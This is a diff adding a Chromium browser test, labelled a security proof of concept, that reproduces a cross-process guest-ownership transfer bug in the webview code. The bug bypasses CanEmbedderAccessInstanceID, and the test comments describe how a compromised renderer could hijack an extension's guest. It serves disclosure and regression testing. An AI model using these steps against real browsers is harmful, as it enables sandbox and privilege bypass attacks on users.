diff --git a/chrome/browser/apps/guest_view/web_view_browsertest.cc b/chrome/browser/apps/guest_view/web_view_browsertest.cc index 06847ce5e0cb9..0df085fd4104c 100644 --- a/chrome/browser/apps/guest_view/web_view_browsertest.cc +++ b/chrome/browser/apps/guest_view/web_view_browsertest.cc @@ -2090,6 +2090,137 @@ IN_PROC_BROWSER_TEST_P(WebViewNewWindowTest, unattached_guest->web_contents()->GetResponsibleWebContents()); } +// === SECURITY POC === +// Demonstrates that OwnerContentsObserver::RenderFrameHostChanged transfers +// guest ownership across processes during cross-process navigation, bypassing +// CanEmbedderAccessInstanceID and leaving owner_host_ stale. +// +// Vulnerable code: components/guest_view/browser/guest_view_base.cc:90-97 +// (RenderFrameHostChanged transfers owner_rfh_id_ with no process check.) +// +// Expected result: This test FAILS at the EXPECT_NE checks below. +// - owner_rfh()'s process changes to the cross-origin web process +// - owner_host() retains the extension ID (stale) +// - GetGuestByInstanceIDSafely() returns the guest for the wrong process +IN_PROC_BROWSER_TEST_P(WebViewNewWindowTest, + SECURITY_CrossProcessOwnershipTransferBypass) { + // The vulnerable code is gated on !kGuestViewMPArch, which is the + // production-default path (kGuestViewMPArch is FEATURE_DISABLED_BY_DEFAULT). + SKIP_FOR_MPARCH(); + + // Step 1: Create an unattached guest via the newwindow flow. + // testNewWindowDeferredAttachmentIndefinitely calls e.preventDefault() and + // never inserts the new into the DOM, so the second guest stays + // unattached with element_instance_id_ == kInstanceIDNone — exactly the + // state required to enter the vulnerable RenderFrameHostChanged branch. + TestHelper("testNewWindowDeferredAttachmentIndefinitely", + "web_view/newwindow", NEEDS_TEST_SERVER); + GetGuestViewManager()->WaitForNumGuestsCreated(2); + + content::WebContents* embedder = GetEmbedderWebContents(); + guest_view::GuestViewBase* unattached_guest = + GetGuestViewManager()->GetLastGuestViewCreated(); + ASSERT_TRUE(unattached_guest); + ASSERT_FALSE(unattached_guest->attached()); + ASSERT_EQ(embedder, unattached_guest->owner_web_contents()); + + // Step 2: Snapshot pre-navigation state. + content::RenderFrameHost* original_owner_rfh = unattached_guest->owner_rfh(); + ASSERT_TRUE(original_owner_rfh); + const content::ChildProcessId original_owner_process_id = + original_owner_rfh->GetProcess()->GetID(); + const url::Origin original_owner_origin = + original_owner_rfh->GetLastCommittedOrigin(); + const std::string original_owner_host = unattached_guest->owner_host(); + const int guest_instance_id = unattached_guest->guest_instance_id(); + // owner_host() should be the extension ID at this point. + ASSERT_FALSE(original_owner_host.empty()); + ASSERT_EQ(original_owner_origin.scheme(), "chrome-extension"); + + LOG(ERROR) << "[POC] BEFORE NAV: owner_process=" + << original_owner_process_id + << " owner_origin=" << original_owner_origin + << " owner_host=" << original_owner_host; + + // Step 3: Take ownership of the unattached guest so the upcoming opener + // teardown (when the inner WebContents detaches) cannot destroy it. + // DestroyGuestIfUnattached -> TransferOwnership returns nullptr if the + // manager no longer owns the guest, making it a no-op. + std::unique_ptr owned_guest = + GetGuestViewManager()->TransferOwnership(unattached_guest); + ASSERT_TRUE(owned_guest); + + // Step 4: Cross-process navigate the embedder WebContents. + // This swaps the main RFH. OwnerContentsObserver::RenderFrameHostChanged + // fires with old_host=extension_rfh, new_host=web_rfh. + // Because element_instance_id_ == kInstanceIDNone, the vulnerable branch + // is taken: owner_rfh_id_ is reassigned to the web RFH with NO check + // that new_host is in the same process or origin as old_host. + GURL cross_process_url = + embedded_test_server()->GetURL("attacker.test", "/title1.html"); + ASSERT_TRUE(content::NavigateToURL(embedder, cross_process_url)); + + // Step 5: Observe post-navigation state. The bug is now visible. + content::RenderFrameHost* new_owner_rfh = unattached_guest->owner_rfh(); + ASSERT_TRUE(new_owner_rfh) + << "owner_rfh_id_ was not transferred — bug not reachable in this config"; + const content::ChildProcessId new_owner_process_id = + new_owner_rfh->GetProcess()->GetID(); + const url::Origin new_owner_origin = + new_owner_rfh->GetLastCommittedOrigin(); + + LOG(ERROR) << "[POC] AFTER NAV: owner_process=" << new_owner_process_id + << " owner_origin=" << new_owner_origin + << " owner_host=" << unattached_guest->owner_host(); + + // === BUG #1 === + // owner_rfh_id_ now resolves to a RenderFrameHost in a DIFFERENT renderer + // process — a cross-origin web process, not the extension process. + // RenderFrameHostChanged transferred ownership cross-process with no + // process/origin check. + EXPECT_NE(original_owner_process_id, new_owner_process_id) + << "[POC] (sanity) navigation did not swap processes"; + EXPECT_EQ(original_owner_process_id, new_owner_process_id) + << "[POC] *** BUG #1 *** owner_rfh_id_ was transferred to a " + "cross-process RFH (was " + << original_owner_origin << " in process " << original_owner_process_id + << ", now " << new_owner_origin << " in process " + << new_owner_process_id << ")"; + + // === BUG #2 === + // owner_host() STILL returns the extension ID. SetOwnerHost() was never + // re-invoked because RenderFrameHostChanged only updates owner_rfh_id_. + // A guest now claims the extension's identity while owned by a web process. + EXPECT_EQ(original_owner_host, unattached_guest->owner_host()) + << "[POC] (sanity) owner_host_ was unexpectedly refreshed"; + EXPECT_NE(original_owner_host, unattached_guest->owner_host()) + << "[POC] *** BUG #2 *** owner_host_ still contains extension ID '" + << original_owner_host + << "' after cross-process transfer — SetOwnerHost() was never called"; + + // === BUG #3 === + // CanEmbedderAccessInstanceID computes allowed_embedder_render_process_id + // from a LIVE lookup: guest_view->owner_rfh()->GetMainFrame()->GetProcess(). + // After the transfer, owner_rfh() yields the web RFH, so the allowed process + // is the web process. GetGuestByInstanceIDSafely(..., web_process_id) + // therefore PASSES — granting the cross-origin web renderer access to a + // guest with extension-keyed StoragePartition and stale extension owner_host. + guest_view::GuestViewBase* lookup_result = + static_cast(GetGuestViewManager()) + ->GetGuestByInstanceIDSafely(guest_instance_id, + new_owner_process_id); + EXPECT_EQ(nullptr, lookup_result) + << "[POC] *** BUG #3 *** CanEmbedderAccessInstanceID PASSED for " + "cross-origin web process " + << new_owner_process_id + << " — a compromised renderer at this origin can now AttachToEmbedderFrame" + " and hijack the guest with extension-keyed StoragePartition"; + + // Clean up: re-register the guest so teardown doesn't trip on a manager + // that knows about a guest it doesn't own. + GetGuestViewManager()->ManageOwnership(std::move(owned_guest)); +} + // Creates a guest in a unattached state, then confirms that calling // the various view methods return null. IN_PROC_BROWSER_TEST_P(WebViewNewWindowTest,